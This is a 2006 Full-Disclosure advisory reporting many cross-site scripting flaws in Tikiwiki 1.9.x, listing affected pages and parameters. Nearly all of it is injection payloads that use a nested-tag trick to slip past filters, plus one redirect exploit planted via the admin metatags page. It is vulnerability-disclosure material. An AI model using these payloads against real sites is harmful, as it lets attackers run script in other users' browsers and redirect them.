Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

CosmicShoppingCart (search.php) Remote SQL Injection Vulnerability

[Full-disclosure] [ GLSA 200605-16 ] CherryPy: Directory traversal vulnerability

WikiNi Persistent Cross Site Scripting Vulnerability

Multiple Xss exploits in Chipmunk Board

From:	blwood_(at)_skynet.be <blwood_(at)_skynet.be>
Date:	30.05.2006
Subject:	[Full-disclosure] Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Discovered by Blwood
http://www.blwood.net <http://www.blwood.net/>




** Public **


-------------

Tiki-lastchanges

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php?
days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert(
'Blwood')%3C/scr%3C/sc
ript%3Eipt%3E>
/tiki-lastchanges.
php?days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert
(
'Blwood')%3C/scr%3C/script%3Eipt%3E

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php?
days=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood'
)%3C/scr%3C/script%3Eip
t%3E&offset=0&sort_mode=user_desc>
/tikiwiki-1.9.3.1/tiki-lastchanges.
php?days=%22%3E%3Csc%3Cscript%3Eript%
3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&o
ffset=0&sort_mode=user_desc

-------------

Tiki-orphan_pages.php

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-orphan_pages.php
?find=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood
')%3C/scr%3C/script%3Ei
pt%3E&offset=&sort_mode=flag_desc>
/tikiwiki-1.9.3.1/tiki-orphan_pages.
php?find=%22%3E%3Csc%3Cscript%3Eript
%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&
offset=&sort_mode=flag_desc

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-orphan_pages.php
?find=&offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert(
'Blwood')%3C/scr%3C/sc
ript%3Eipt%3E&sort_mode=flag_desc>
/tikiwiki-1.9.3.1/tiki-orphan_pages.
php?find=&offset=%22%3E%3Csc%3Cscrip
t%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3
Eipt%3E&sort_mode=flag_desc

-------------

Tiki-listpages.php

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-listpages.php?of
fset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood'
)%3C/scr%3C/script%3Eip
t%3E&sort_mode=creator_desc>
/tiki-listpages.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('B
lwood')
%3C/scr%3C/script%3Eipt%3E&sort_mode=creator_desc

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-listpages.php?in
itial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood
')%3C/scr%3C/script%3Ei
pt%3E&sort_mode=pageName_asc>
/tiki-listpages.
php?initial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('
Blwood'
)%3C/scr%3C/script%3Eipt%3E&sort_mode=pageName_asc

-------------

Tiki-remind_password.php

<http://tikiwiki.org/tiki-remind_password.php>
http://tikiwiki.org/tiki-remind_password.php

"><scr<script>ipt>alert('Blwood')</scr<
/script>ipt>

-------------


** Admin **

-------------

Tiki-admin_include_metatags.php

<http://www.site.com/> http://www.site.com/tiki-admin.php?page=metatags
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin.php?page=m
etatags>

"><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

In all pages the source will be :

<meta name="keywords" content=""><script>alert('Blwood')</script>
" />

The code will be executed in every pages !

Exploit :

"><sc<script>ript>document.location='class="fixed">http://www.blwood.net'</scr</script
>ipt>

-------------

Tiki-admin_ressmodules.php

<http://www.site.com/>
http://www.site.com/tiki-admin_rssmodules.php?offset=%22%3E%3Cscr%
3Cscri
pt%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3
Eipt%3E%3C!--
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_rssmodules
.
php?offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('B
lwood')%3C/scr%3C/scri
pt%3Eipt%3E%3C!--&sort_mode=name_desc&rssId=1>
&sort_mode=name_desc&rssId=1

-------------

Tiki-syslog.php

<http://www.site.com/> http://www.site.com/tiki-syslog.php?find=
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-syslog.php?find=
&max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealer
t('Blwood')%3C/scr%3C/s
cript%3Eipt%3E%3C!--&sort_mode=loguser_desc>
&max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealer
t('Blwood')%3C/scr%3C/s
cript%3Eipt%3E%3C!--&sort_mode=loguser_desc

<http://www.site.com/> http://www.site.com/tiki-syslog.php?find=
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-syslog.php?find=
&max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blw
ood')%3C/scr%3C/script%3Eip
t%3E%3C!--&offset=0&sort_mode=logtype_desc>
&max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blw
ood')%3C/scr%3C/script%3Eip
t%3E%3C!--&offset=0&sort_mode=logtype_desc

-------------

Tiki-adminusers.php

<http://www.site.com/> http://www.site.com/tiki-adminusers.php?find=
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-adminusers.php?f
ind=&search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%
3Ealert('Blwood')%3
C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc>
&search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%
3Ealert('Blwood')%3C/sc
r%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc

In the Form :

"><scr<script>ipt>alert('Blwood')</scr<
/script>ipt>

-------------

Tiki-admin_hotwords.php

"><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

-------------

Tiki-admin_modules.php

Assign new module
**********************

Parameters : "><sc<script>ript>alert('Blwood')</scr<
/script>ipt>


Create new user module
****************************

Name : "><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

-------------

Tiki-admin_notifications.php

Add notification :

"><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_notificati
ons.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('B
lwood')%3C/scr%3C/s
cript%3Eipt%3E&sort_mode=object_desc>
/tiki-admin_notifications.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert
('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mod
e=object_desc

-------------

Tiki-admin_dsn.php

Name : "><sc<script>ript>alert('Blwood')</scr<
/script>ipt>
Dsn : "><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

-------------

Tiki-admin_content_templates.php

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_content_te
mplates.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('B
lwood')%3C/scr%
3C/script%3Eipt%3E&sort_mode=created_asc>
/tiki-admin_content_templates.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ea
lert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort
_mode=created_asc

Create new template :

name: "><sc<script>ript>alert('Blwood')</scr<
/script>ipt>

-------------

Tiki-admin_chat.php

<http://www.site.com/> http://www.site.com
<http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-admin_chat.php?o
ffset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood
')%3C/scr%3C/script%3Ei
pt%3E&sort_mode=name_desc&channelId=1>
/tiki-admin_chat.
php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('B
lwood'
)%3C/scr%3C/script%3Eipt%3E&sort_mode=name_desc&chann
elId=1

-------------